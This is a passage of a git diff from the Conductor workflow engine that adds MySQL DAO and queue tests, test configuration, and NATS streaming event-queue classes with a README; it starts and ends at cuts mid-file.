metadataDAO.updateEventHandler(eventHandler); + + all = metadataDAO.getAllEventHandlers(); + assertNotNull(all); + assertEquals(1, all.size()); + + byEvents = metadataDAO.getEventHandlersForEvent(event1, true); + assertNotNull(byEvents); + assertEquals(0, byEvents.size()); + + byEvents = metadataDAO.getEventHandlersForEvent(event2, true); + assertNotNull(byEvents); + assertEquals(1, byEvents.size()); + } + + @Test + public void testGetAllWorkflowDefsLatestVersions() { + WorkflowDef def = new WorkflowDef(); + def.setName("test1"); + def.setVersion(1); + def.setDescription("description"); + def.setCreatedBy("unit_test"); + def.setCreateTime(1L); + def.setOwnerApp("ownerApp"); + def.setUpdatedBy("unit_test2"); + def.setUpdateTime(2L); + metadataDAO.createWorkflowDef(def); + + def.setName("test2"); + metadataDAO.createWorkflowDef(def); + def.setVersion(2); + metadataDAO.createWorkflowDef(def); + + def.setName("test3"); + def.setVersion(1); + metadataDAO.createWorkflowDef(def); + def.setVersion(2); + metadataDAO.createWorkflowDef(def); + def.setVersion(3); + metadataDAO.createWorkflowDef(def); + + // Placed the values in a map because they might not be stored in order of defName. + // To test, needed to confirm that the versions are correct for the definitions. + Map allMap = + metadataDAO.getAllWorkflowDefsLatestVersions().stream() + .collect(Collectors.toMap(WorkflowDef::getName, Function.identity())); + + assertNotNull(allMap); + assertEquals(3, allMap.size()); + assertEquals(1, allMap.get("test1").getVersion()); + assertEquals(2, allMap.get("test2").getVersion()); + assertEquals(3, allMap.get("test3").getVersion()); + } +} diff --git a/mysql-persistence/src/test/java/com/netflix/conductor/mysql/dao/MySQLQueueDAOTest.java b/mysql-persistence/src/test/java/com/netflix/conductor/mysql/dao/MySQLQueueDAOTest.java new file mode 100644 index 0000000..41c33b2 --- /dev/null +++ b/mysql-persistence/src/test/java/com/netflix/conductor/mysql/dao/MySQLQueueDAOTest.java @@ -0,0 +1,477 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.mysql.dao; + +import java.sql.Connection; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.List; +import java.util.Map; +import java.util.concurrent.TimeUnit; +import java.util.stream.Collectors; + +import javax.sql.DataSource; + +import org.flywaydb.core.Flyway; +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Qualifier; +import org.springframework.boot.autoconfigure.flyway.FlywayAutoConfiguration; +import org.springframework.boot.test.context.SpringBootTest; +import org.springframework.test.context.ContextConfiguration; +import org.springframework.test.context.junit4.SpringRunner; + +import com.netflix.conductor.common.config.TestObjectMapperConfiguration; +import com.netflix.conductor.core.events.queue.Message; +import com.netflix.conductor.mysql.config.MySQLConfiguration; +import com.netflix.conductor.mysql.util.Query; + +import com.fasterxml.jackson.databind.ObjectMapper; +import com.google.common.collect.ImmutableList; + +import static org.awaitility.Awaitility.await; +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertFalse; +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.assertTrue; +import static org.junit.Assert.fail; + +@ContextConfiguration( + classes = { + TestObjectMapperConfiguration.class, + MySQLConfiguration.class, + FlywayAutoConfiguration.class + }) +@RunWith(SpringRunner.class) +@SpringBootTest(properties = "spring.flyway.clean-disabled=false") +public class MySQLQueueDAOTest { + + private static final Logger LOGGER = LoggerFactory.getLogger(MySQLQueueDAOTest.class); + + @Autowired private MySQLQueueDAO queueDAO; + + @Autowired private ObjectMapper objectMapper; + + @Qualifier("dataSource") + @Autowired + private DataSource dataSource; + + @Autowired Flyway flyway; + + // clean the database between tests. + @Before + public void before() { + flyway.clean(); + flyway.migrate(); + } + + @Test + public void complexQueueTest() { + String queueName = "TestQueue"; + long offsetTimeInSecond = 0; + + for (int i = 0; i < 10; i++) { + String messageId = "msg" + i; + queueDAO.push(queueName, messageId, offsetTimeInSecond); + } + int size = queueDAO.getSize(queueName); + assertEquals(10, size); + Map details = queueDAO.queuesDetail(); + assertEquals(1, details.size()); + assertEquals(10L, details.get(queueName).longValue()); + + for (int i = 0; i < 10; i++) { + String messageId = "msg" + i; + queueDAO.pushIfNotExists(queueName, messageId, offsetTimeInSecond); + } + + List popped = queueDAO.pop(queueName, 10, 100); + assertNotNull(popped); + assertEquals(10, popped.size()); + + Map>> verbose = queueDAO.queuesDetailVerbose(); + assertEquals(1, verbose.size()); + long shardSize = verbose.get(queueName).get("a").get("size"); + long unackedSize = verbose.get(queueName).get("a").get("uacked"); + assertEquals(0, shardSize); + assertEquals(10, unackedSize); + + popped.forEach(messageId -> queueDAO.ack(queueName, messageId)); + + verbose = queueDAO.queuesDetailVerbose(); + assertEquals(1, verbose.size()); + shardSize = verbose.get(queueName).get("a").get("size"); + unackedSize = verbose.get(queueName).get("a").get("uacked"); + assertEquals(0, shardSize); + assertEquals(0, unackedSize); + + popped = queueDAO.pop(queueName, 10, 100); + assertNotNull(popped); + assertEquals(0, popped.size()); + + for (int i = 0; i < 10; i++) { + String messageId = "msg" + i; + queueDAO.pushIfNotExists(queueName, messageId, offsetTimeInSecond); + } + size = queueDAO.getSize(queueName); + assertEquals(10, size); + + for (int i = 0; i < 10; i++) { + String messageId = "msg" + i; + assertTrue(queueDAO.containsMessage(queueName, messageId)); + queueDAO.remove(queueName, messageId); + } + + size = queueDAO.getSize(queueName); + assertEquals(0, size); + + for (int i = 0; i < 10; i++) { + String messageId = "msg" + i; + queueDAO.pushIfNotExists(queueName, messageId, offsetTimeInSecond); + } + queueDAO.flush(queueName); + size = queueDAO.getSize(queueName); + assertEquals(0, size); + } + + /** Test fix for https://github.com/Netflix/conductor/issues/1892 */ + @Test + public void containsMessageTest() { + String queueName = "TestQueue"; + long offsetTimeInSecond = 0; + + for (int i = 0; i < 10; i++) { + String messageId = "msg" + i; + queueDAO.push(queueName, messageId, offsetTimeInSecond); + } + int size = queueDAO.getSize(queueName); + assertEquals(10, size); + + for (int i = 0; i < 10; i++) { + String messageId = "msg" + i; + assertTrue(queueDAO.containsMessage(queueName, messageId)); + queueDAO.remove(queueName, messageId); + } + for (int i = 0; i < 10; i++) { + String messageId = "msg" + i; + assertFalse(queueDAO.containsMessage(queueName, messageId)); + } + } + + /** + * Test fix for https://github.com/Netflix/conductor/issues/399 + * + * @since 1.8.2-rc5 + */ + @Test + public void pollMessagesTest() { + final List messages = new ArrayList<>(); + final String queueName = "issue399_testQueue"; + final int totalSize = 10; + + for (int i = 0; i < totalSize; i++) { + String payload = "{\"id\": " + i + ", \"msg\":\"test " + i + "\"}"; + Message m = new Message("testmsg-" + i, payload, ""); + if (i % 2 == 0) { + // Set priority on message with pair id + m.setPriority(99 - i); + } + messages.add(m); + } + + // Populate the queue with our test message batch + queueDAO.push(queueName, ImmutableList.copyOf(messages)); + + // Assert that all messages were persisted and no extras are in there + assertEquals("Queue size mismatch", totalSize, queueDAO.getSize(queueName)); + + final int firstPollSize = 3; + List firstPoll = queueDAO.pollMessages(queueName, firstPollSize, 10_000); + assertNotNull("First poll was null", firstPoll); + assertFalse("First poll was empty", firstPoll.isEmpty()); + assertEquals("First poll size mismatch", firstPollSize, firstPoll.size()); + + final int secondPollSize = 4; + List secondPoll = queueDAO.pollMessages(queueName, secondPollSize, 10_000); + assertNotNull("Second poll was null", secondPoll); + assertFalse("Second poll was empty", secondPoll.isEmpty()); + assertEquals("Second poll size mismatch", secondPollSize, secondPoll.size()); + + // Assert that the total queue size hasn't changed + assertEquals( + "Total queue size should have remained the same", + totalSize, + queueDAO.getSize(queueName)); + + // Assert that our un-popped messages match our expected size + final long expectedSize = totalSize - firstPollSize - secondPollSize; + try (Connection c = dataSource.getConnection()) { + String UNPOPPED = + "SELECT COUNT(*) FROM queue_message WHERE queue_name = ? AND popped = false"; + try (Query q = new Query(objectMapper, c, UNPOPPED)) { + long count = q.addParameter(queueName).executeCount(); + assertEquals("Remaining queue size mismatch", expectedSize, count); + } + } catch (Exception ex) { + fail(ex.getMessage()); + } + } + + /** + * Test fix for https://github.com/Netflix/conductor/issues/448 + * + * @since 1.8.2-rc5 + */ + @Test + public void pollDeferredMessagesTest() { + final List messages = new ArrayList<>(); + final String queueName = "issue448_testQueue"; + final int totalSize = 10; + + for (int i = 0; i < totalSize; i++) { + int offset = 0; + if (i < 5) { + offset = 0; + } else if (i == 6 || i == 7) { + // Purposefully skipping id:5 to test out of order deliveries + // Set id:6 and id:7 for a 2s delay to be picked up in the second polling batch + offset = 5; + } else { + // Set all other queue messages to have enough of a delay that they won't + // accidentally + // be picked up. + offset = 10_000 + i; + } + + String payload = "{\"id\": " + i + ",\"offset_time_seconds\":" + offset + "}"; + Message m = new Message("testmsg-" + i, payload, ""); + messages.add(m); + queueDAO.push(queueName, "testmsg-" + i, offset); + } + + // Assert that all messages were persisted and no extras are in there + assertEquals("Queue size mismatch", totalSize, queueDAO.getSize(queueName)); + + final int firstPollSize = 4; + List firstPoll = queueDAO.pollMessages(queueName, firstPollSize, 100); + assertNotNull("First poll was null", firstPoll); + assertFalse("First poll was empty", firstPoll.isEmpty()); + assertEquals("First poll size mismatch", firstPollSize, firstPoll.size()); + + List firstPollMessageIds = + messages.stream() + .map(Message::getId) + .collect(Collectors.toList()) + .subList(0, firstPollSize + 1); + + for (int i = 0; i < firstPollSize; i++) { + String actual = firstPoll.get(i).getId(); + assertTrue("Unexpected Id: " + actual, firstPollMessageIds.contains(actual)); + } + + final int secondPollSize = 3; + + // Wait for delayed messages to become available for polling + final String COUNT_READY = + "SELECT COUNT(*) FROM queue_message WHERE queue_name = ? AND popped = false AND deliver_on <= CURRENT_TIMESTAMP"; + await().atMost(10, TimeUnit.SECONDS) + .pollInterval(500, TimeUnit.MILLISECONDS) + .until( + () -> { + try (Connection c = dataSource.getConnection()) { + try (Query q = new Query(objectMapper, c, COUNT_READY)) { + return q.addParameter(queueName).executeCount() + >= secondPollSize; + } + } + }); + + // Poll for many more messages than expected + List secondPoll = queueDAO.pollMessages(queueName, secondPollSize + 10, 100); + assertNotNull("Second poll was null", secondPoll); + assertFalse("Second poll was empty", secondPoll.isEmpty()); + assertEquals("Second poll size mismatch", secondPollSize, secondPoll.size()); + + List expectedIds = Arrays.asList("testmsg-4", "testmsg-6", "testmsg-7"); + for (int i = 0; i < secondPollSize; i++) { + String actual = secondPoll.get(i).getId(); + assertTrue("Unexpected Id: " + actual, expectedIds.contains(actual)); + } + + // Assert that the total queue size hasn't changed + assertEquals( + "Total queue size should have remained the same", + totalSize, + queueDAO.getSize(queueName)); + + // Assert that our un-popped messages match our expected size + final long expectedSize = totalSize - firstPollSize - secondPollSize; + try (Connection c = dataSource.getConnection()) { + String UNPOPPED = + "SELECT COUNT(*) FROM queue_message WHERE queue_name = ? AND popped = false"; + try (Query q = new Query(objectMapper, c, UNPOPPED)) { + long count = q.addParameter(queueName).executeCount(); + assertEquals("Remaining queue size mismatch", expectedSize, count); + } + } catch (Exception ex) { + fail(ex.getMessage()); + } + } + + @Test + public void setUnackTimeoutIfShorterShortensDueTime() { + String queueName = "setUnackIfShorter_shorten"; + String messageId = "msg-shorten"; + + // Push with a 1-hour delay so it is not immediately poppable + queueDAO.push(queueName, messageId, 3600L); + assertEquals(0, queueDAO.pop(queueName, 1, 100).size()); + + // Shorten delivery to now (0 s) — should succeed and return true + boolean shortened = queueDAO.setUnackTimeoutIfShorter(queueName, messageId, 0L); + assertTrue( + "setUnackTimeoutIfShorter should return true when it actually shortens", shortened); + + // Message must now be immediately poppable + List popped = queueDAO.pop(queueName, 1, 100); + assertEquals(1, popped.size()); + assertEquals(messageId, popped.get(0)); + } + + @Test + public void setUnackTimeoutIfShorterDoesNotExtend() { + String queueName = "setUnackIfShorter_noextend"; + String messageId = "msg-noextend"; + + // Push with offset 0 so it is immediately available + queueDAO.push(queueName, messageId, 0L); + + // Try to push deliver_on far into the future — must be rejected + boolean extended = queueDAO.setUnackTimeoutIfShorter(queueName, messageId, 3_600_000L); + assertFalse( + "setUnackTimeoutIfShorter must not extend an already-closer delivery time", + extended); + + // Message must still be immediately poppable + List popped = queueDAO.pop(queueName, 1, 100); + assertEquals(1, popped.size()); + assertEquals(messageId, popped.get(0)); + } + + @Test + public void setUnackTimeoutIfShorterReturnsFalseForNonExistent() { + String queueName = "setUnackIfShorter_nonexistent"; + boolean updated = queueDAO.setUnackTimeoutIfShorter(queueName, "no-such-message", 0L); + assertFalse( + "setUnackTimeoutIfShorter must return false for a non-existent message", updated); + } + + @Test + public void setUnackTimeoutIfShorterReturnsFalseWhenEqualTimeout() { + String queueName = "setUnackIfShorter_equal"; + String messageId = "msg-equal"; + queueDAO.push(queueName, messageId, 0L); + + boolean result = queueDAO.setUnackTimeoutIfShorter(queueName, messageId, 0L); + assertFalse("Equal timeout must not update deliver_on — returns false", result); + + List popped = queueDAO.pop(queueName, 1, 100); + assertEquals(1, popped.size()); + assertEquals(messageId, popped.get(0)); + } + + @Test + public void setUnackTimeoutIfShorterRejectsExtensionThenAcceptsShortening() { + String queueName = "setUnackIfShorter_reject_then_accept"; + String messageId = "msg-reject-accept"; + queueDAO.push(queueName, messageId, 3600L); + + boolean extended = queueDAO.setUnackTimeoutIfShorter(queueName, messageId, 7_200_000L); + assertFalse("Extending must return false", extended); + + boolean shortened = queueDAO.setUnackTimeoutIfShorter(queueName, messageId, 0L); + assertTrue("Shortening to now must return true", shortened); + + List popped = queueDAO.pop(queueName, 1, 100); + assertEquals(1, popped.size()); + assertEquals(messageId, popped.get(0)); + } + + @Test + public void processUnacksTest() { + final String queueName = "process_unacks_test"; + // Count of messages in the queue(s) + final int count = 10; + // Number of messages to process acks for + final int unackedCount = 4; + // A secondary queue to make sure we don't accidentally process other queues + final String otherQueueName = "process_unacks_test_other_queue"; + + // Create testing queue with some messages (but not all) that will be popped/acked. + for (int i = 0; i < count; i++) { + int offset = 0; + if (i >= unackedCount) { + offset = 1_000_000; + } + + queueDAO.push(queueName, "unack-" + i, offset); + } + + // Create a second queue to make sure that unacks don't occur for it + for (int i = 0; i < count; i++) { + queueDAO.push(otherQueueName, "other-" + i, 0); + } + + // Poll for first batch of messages (should be equal to unackedCount) + List polled = queueDAO.pollMessages(queueName, 100, 10_000); + assertNotNull(polled); + assertFalse(polled.isEmpty()); + assertEquals(unackedCount, polled.size()); + + // Poll messages from the other queue so we know they don't get unacked later + queueDAO.pollMessages(otherQueueName, 100, 10_000); + + // Ack one of the polled messages + assertTrue(queueDAO.ack(queueName, "unack-1")); + + // Should have one less un-acked popped message in the queue + Long uacked = queueDAO.queuesDetailVerbose().get(queueName).get("a").get("uacked"); + assertNotNull(uacked); + assertEquals(uacked.longValue(), unackedCount - 1); + + // Process unacks + queueDAO.processUnacks(queueName); + + // Check uacks for both queues after processing + Map>> details = queueDAO.queuesDetailVerbose(); + uacked = details.get(queueName).get("a").get("uacked"); + assertNotNull(uacked); + assertEquals( + "The messages that were polled should be unacked still", + uacked.longValue(), + unackedCount - 1); + + Long otherUacked = details.get(otherQueueName).get("a").get("uacked"); + assertNotNull(otherUacked); + assertEquals( + "Other queue should have all unacked messages", otherUacked.longValue(), count); + + Long size = queueDAO.queuesDetail().get(queueName); + assertNotNull(size); + assertEquals(size.longValue(), count - unackedCount); + } +} diff --git a/mysql-persistence/src/test/java/com/netflix/conductor/test/integration/grpc/mysql/MySQLGrpcEndToEndTest.java b/mysql-persistence/src/test/java/com/netflix/conductor/test/integration/grpc/mysql/MySQLGrpcEndToEndTest.java new file mode 100644 index 0000000..e161528 --- /dev/null +++ b/mysql-persistence/src/test/java/com/netflix/conductor/test/integration/grpc/mysql/MySQLGrpcEndToEndTest.java @@ -0,0 +1,51 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.test.integration.grpc.mysql; + +import org.junit.Before; +import org.junit.runner.RunWith; +import org.springframework.test.context.TestPropertySource; +import org.springframework.test.context.junit4.SpringRunner; + +import com.netflix.conductor.client.grpc.EventClient; +import com.netflix.conductor.client.grpc.MetadataClient; +import com.netflix.conductor.client.grpc.TaskClient; +import com.netflix.conductor.client.grpc.WorkflowClient; +import com.netflix.conductor.test.integration.grpc.AbstractGrpcEndToEndTest; + +@RunWith(SpringRunner.class) +@TestPropertySource( + properties = { + "conductor.db.type=mysql", + "conductor.grpc-server.port=8094", + "spring.datasource.url=jdbc:tc:mysql:8.0.27:///conductor", // "tc" prefix starts the + // MySql + // container + "spring.datasource.username=root", + "spring.datasource.password=root", + "spring.datasource.hikari.maximum-pool-size=8", + "spring.datasource.hikari.minimum-idle=300000", + "conductor.elasticsearch.version=7", + "conductor.indexing.type=elasticsearch", + "conductor.app.workflow.name-validation.enabled=true" + }) +public class MySQLGrpcEndToEndTest extends AbstractGrpcEndToEndTest { + + @Before + public void init() { + taskClient = new TaskClient("localhost", 8094); + workflowClient = new WorkflowClient("localhost", 8094); + metadataClient = new MetadataClient("localhost", 8094); + eventClient = new EventClient("localhost", 8094); + } +} diff --git a/mysql-persistence/src/test/resources/application.properties b/mysql-persistence/src/test/resources/application.properties new file mode 100644 index 0000000..c64ffb6 --- /dev/null +++ b/mysql-persistence/src/test/resources/application.properties @@ -0,0 +1,6 @@ +conductor.db.type=mysql +spring.datasource.url=jdbc:tc:mysql:8.0.29:///conductor +spring.datasource.username=root +spring.datasource.password=root +spring.datasource.hikari.maximum-pool-size=8 +spring.datasource.hikari.auto-commit=false diff --git a/nats-streaming/README.md b/nats-streaming/README.md new file mode 100644 index 0000000..d091fb0 --- /dev/null +++ b/nats-streaming/README.md @@ -0,0 +1,46 @@ +# Event Queue +## Published Artifacts + +Group: `com.netflix.conductor` + +| Published Artifact | Description | +| ----------- | ----------- | +| conductor-amqp | Support for integration with AMQP | +| conductor-nats | Support for integration with NATS | + +## Modules +### AMQP +https://www.amqp.org/ + +Provides ability to publish and consume messages from AMQP compatible message broker. + +#### Configuration +(Default values shown below) +```properties +conductor.event-queues.amqp.enabled=true +conductor.event-queues.amqp.hosts=localhost +conductor.event-queues.amqp.port=5672 +conductor.event-queues.amqp.username=guest +conductor.event-queues.amqp.password=guest +conductor.event-queues.amqp.virtualhost=/ +conductor.event-queues.amqp.useSslProtocol=false +#milliseconds +conductor.event-queues.amqp.connectionTimeout=60000 +conductor.event-queues.amqp.useExchange=true +conductor.event-queues.amqp.listenerQueuePrefix= +``` +For advanced configurations, see [AMQPEventQueueProperties](amqp/src/main/java/com/netflix/conductor/contribs/queue/amqp/config/AMQPEventQueueProperties.java) + +### NATS +https://nats.io/ + +Provides ability to publish and consume messages from NATS queues +#### Configuration +(Default values shown below) +```properties +conductor.event-queues.nats.enabled=true +conductor.event-queues.nats-stream.clusterId=test-cluster +conductor.event-queues.nats-stream.durableName= +conductor.event-queues.nats-stream.url=nats://localhost:4222 +conductor.event-queues.nats-stream.listenerQueuePrefix= +``` diff --git a/nats-streaming/build.gradle b/nats-streaming/build.gradle new file mode 100644 index 0000000..d517ea1 --- /dev/null +++ b/nats-streaming/build.gradle @@ -0,0 +1,14 @@ +dependencies { + implementation project(':conductor-common') + implementation project(':conductor-core') + + implementation "io.nats:java-nats-streaming:${revStan}" + implementation "io.nats:jnats:${revNatsStreaming}" + + implementation "org.apache.commons:commons-lang3:" + implementation "com.google.guava:guava:${revGuava}" + implementation "io.reactivex:rxjava:${revRxJava}" + + compileOnly 'org.springframework.boot:spring-boot-starter' + compileOnly 'org.springframework.boot:spring-boot-starter-web' +} \ No newline at end of file diff --git a/nats-streaming/src/main/java/com/netflix/conductor/contribs/queue/stan/NATSAbstractQueue.java b/nats-streaming/src/main/java/com/netflix/conductor/contribs/queue/stan/NATSAbstractQueue.java new file mode 100644 index 0000000..907a072 --- /dev/null +++ b/nats-streaming/src/main/java/com/netflix/conductor/contribs/queue/stan/NATSAbstractQueue.java @@ -0,0 +1,301 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.contribs.queue.stan; + +import java.util.Collections; +import java.util.LinkedList; +import java.util.List; +import java.util.concurrent.Executors; +import java.util.concurrent.LinkedBlockingQueue; +import java.util.concurrent.ScheduledExecutorService; +import java.util.concurrent.TimeUnit; +import java.util.concurrent.atomic.AtomicInteger; +import java.util.concurrent.locks.Lock; +import java.util.concurrent.locks.ReentrantLock; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.netflix.conductor.core.events.queue.Message; +import com.netflix.conductor.core.events.queue.ObservableQueue; + +import io.nats.client.NUID; +import rx.Observable; +import rx.Scheduler; + +/** + * @author Oleksiy Lysak + */ +public abstract class NATSAbstractQueue implements ObservableQueue { + + private static final Logger LOGGER = LoggerFactory.getLogger(NATSAbstractQueue.class); + protected LinkedBlockingQueue messages = new LinkedBlockingQueue<>(); + protected final Lock mu = new ReentrantLock(); + private final String queueType; + private ScheduledExecutorService execs; + private final Scheduler scheduler; + + protected final String queueURI; + protected final String subject; + protected String queue; + + // Indicates that observe was called (Event Handler) and we must to re-initiate subscription + // upon reconnection + private boolean observable; + private boolean isOpened; + private volatile boolean running; + + NATSAbstractQueue(String queueURI, String queueType, Scheduler scheduler) { + this.queueURI = queueURI; + this.queueType = queueType; + this.scheduler = scheduler; + + // If queue specified (e.g. subject:queue) - split to subject & queue + if (queueURI.contains(":")) { + this.subject = queueURI.substring(0, queueURI.indexOf(':')); + queue = queueURI.substring(queueURI.indexOf(':') + 1); + } else { + this.subject = queueURI; + queue = null; + } + LOGGER.info( + String.format( + "Initialized with queueURI=%s, subject=%s, queue=%s", + queueURI, subject, queue)); + } + + void onMessage(String subject, byte[] data) { + String payload = new String(data); + LOGGER.info(String.format("Received message for %s: %s", subject, payload)); + + Message dstMsg = new Message(); + dstMsg.setId(NUID.nextGlobal()); + dstMsg.setPayload(payload); + + messages.add(dstMsg); + } + + @Override + public Observable observe() { + LOGGER.info("Observe invoked for queueURI " + queueURI); + observable = true; + + mu.lock(); + try { + subscribe(); + } finally { + mu.unlock(); + } + + Observable.OnSubscribe onSubscribe = + subscriber -> { + Observable interval = + Observable.interval(100, TimeUnit.MILLISECONDS, scheduler); + interval.flatMap( + (Long x) -> { + if (!isRunning()) { + LOGGER.debug( + "Component stopped, skip listening for messages from NATS Queue"); + return Observable.from(Collections.emptyList()); + } else { + List available = new LinkedList<>(); + messages.drainTo(available); + + if (!available.isEmpty()) { + AtomicInteger count = new AtomicInteger(0); + StringBuilder buffer = new StringBuilder(); + available.forEach( + msg -> { + buffer.append(msg.getId()) + .append("=") + .append(msg.getPayload()); + count.incrementAndGet(); + + if (count.get() < available.size()) { + buffer.append(","); + } + }); + LOGGER.info( + String.format( + "Batch from %s to conductor is %s", + subject, buffer.toString())); + } + + return Observable.from(available); + } + }) + .subscribe(subscriber::onNext, subscriber::onError); + }; + return Observable.create(onSubscribe); + } + + @Override + public String getType() { + return queueType; + } + + @Override + public String getName() { + return queueURI; + } + + @Override + public String getURI() { + return queueURI; + } + + @Override + public List ack(List messages) { + return Collections.emptyList(); + } + + @Override + public void setUnackTimeout(Message message, long unackTimeout) {} + + @Override + public long size() { + return messages.size(); + } + + @Override + public void publish(List messages) { + messages.forEach( + message -> { + try { + String payload = message.getPayload(); + publish(subject, payload.getBytes()); + LOGGER.info(String.format("Published message to %s: %s", subject, payload)); + } catch (Exception ex) { + LOGGER.error( + "Failed to publish message " + + message.getPayload() + + " to " + + subject, + ex); + throw new RuntimeException(ex); + } + }); + } + + @Override + public boolean rePublishIfNoAck() { + return true; + } + + @Override + public void close() { + LOGGER.info("Closing connection for " + queueURI); + mu.lock(); + try { + if (execs != null) { + execs.shutdownNow(); + execs = null; + } + closeSubs(); + closeConn(); + isOpened = false; + } finally { + mu.unlock(); + } + } + + public void open() { + // do nothing if not closed + if (isOpened) { + return; + } + + mu.lock(); + try { + try { + connect(); + + // Re-initiated subscription if existed + if (observable) { + subscribe(); + } + } catch (Exception ignore) { + } + + execs = Executors.newScheduledThreadPool(1); + execs.scheduleAtFixedRate(this::monitor, 0, 500, TimeUnit.MILLISECONDS); + isOpened = true; + } finally { + mu.unlock(); + } + } + + private void monitor() { + if (isConnected()) { + return; + } + + LOGGER.error("Monitor invoked for " + queueURI); + mu.lock(); + try { + closeSubs(); + closeConn(); + + // Connect + connect(); + + // Re-initiated subscription if existed + if (observable) { + subscribe(); + } + } catch (Exception ex) { + LOGGER.error("Monitor failed with " + ex.getMessage() + " for " + queueURI, ex); + } finally { + mu.unlock(); + } + } + + public boolean isClosed() { + return !isOpened; + } + + void ensureConnected() { + if (!isConnected()) { + throw new RuntimeException("No nats connection"); + } + } + + @Override + public void start() { + LOGGER.info("Started listening to {}:{}", getClass().getSimpleName(), queueURI); + running = true; + } + + @Override + public void stop() { + LOGGER.info("Stopped listening to {}:{}", getClass().getSimpleName(), queueURI); + running = false; + } + + @Override + public boolean isRunning() { + return running; + } + + abstract void connect(); + + abstract boolean isConnected(); + + abstract void publish(String subject, byte[] data) throws Exception; + + abstract void subscribe(); + + abstract void closeSubs(); + + abstract void closeConn(); +} diff --git a/nats-streaming/src/main/java/com/netflix/conductor/contribs/queue/stan/NATSObservableQueue.java b/nats-streaming/src/main/java/com/netflix/conductor/contribs/queue/stan/NATSObservableQueue.java new file mode 100644 index 0000000..de941c1 --- /dev/null +++ b/nats-streaming/src/main/java/com/netflix/conductor/contribs/queue/stan/NATSObservableQueue.java @@ -0,0 +1,114 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.contribs.queue.stan; + +import org.apache.commons.lang3.StringUtils; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import io.nats.client.Connection; +import io.nats.client.Nats; +import io.nats.client.Subscription; +import rx.Scheduler; + +/** + * @author Oleksiy Lysak + */ +public class NATSObservableQueue extends NATSAbstractQueue { + + private static final Logger LOGGER = LoggerFactory.getLogger(NATSObservableQueue.class); + private Subscription subs; + private Connection conn; + + public NATSObservableQueue(String queueURI, Scheduler scheduler) { + super(queueURI, "nats", scheduler); + open(); + } + + @Override + public boolean isConnected() { + return (conn != null && Connection.Status.CONNECTED.equals(conn.getStatus())); + } + + @Override + public void connect() { + try { + Connection temp = Nats.connect(); + LOGGER.info("Successfully connected for " + queueURI); + conn = temp; + } catch (Exception e) { + LOGGER.error("Unable to establish nats connection for " + queueURI, e); + throw new RuntimeException(e); + } + } + + @Override + public void subscribe() { + // do nothing if already subscribed + if (subs != null) { + return; + } + + try { + ensureConnected(); + // Create subject/queue subscription if the queue has been provided + if (StringUtils.isNotEmpty(queue)) { + LOGGER.info( + "No subscription. Creating a queue subscription. subject={}, queue={}", + subject, + queue); + conn.createDispatcher(msg -> onMessage(msg.getSubject(), msg.getData())); + subs = conn.subscribe(subject, queue); + } else { + LOGGER.info( + "No subscription. Creating a pub/sub subscription. subject={}", subject); + conn.createDispatcher(msg -> onMessage(msg.getSubject(), msg.getData())); + subs = conn.subscribe(subject); + } + } catch (Exception ex) { + LOGGER.error( + "Subscription failed with " + ex.getMessage() + " for queueURI " + queueURI, + ex); + } + } + + @Override + public void publish(String subject, byte[] data) throws Exception { + ensureConnected(); + conn.publish(subject, data); + } + + @Override + public void closeSubs() { + if (subs != null) { + try { + subs.unsubscribe(); + } catch (Exception ex) { + LOGGER.error("closeSubs failed with " + ex.getMessage() + " for " + queueURI, ex); + } + subs = null; + } + } + + @Override + public void closeConn() { + if (conn != null) { + try { + conn.close(); + } catch (Exception ex) { + LOGGER.error("closeConn failed with " + ex.getMessage() + " for " + queueURI, ex); + } + conn = null; + } + } +} diff --git a/nats-streaming/src/main/java/com/netflix/conductor/contribs/queue/stan/NATSStreamObservableQueue.java b/nats-streaming/src/main/java/com/netflix/conductor/contribs/queue/stan/NATSStreamObservableQueue.java new file mode 100644 index 0000000..c150e27 --- /dev/null +++ b/nats-streaming/src/main/java/com/netflix/conductor/contribs/queue/stan/NATSStreamObservableQueue.java @@ -0,0 +1,144 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

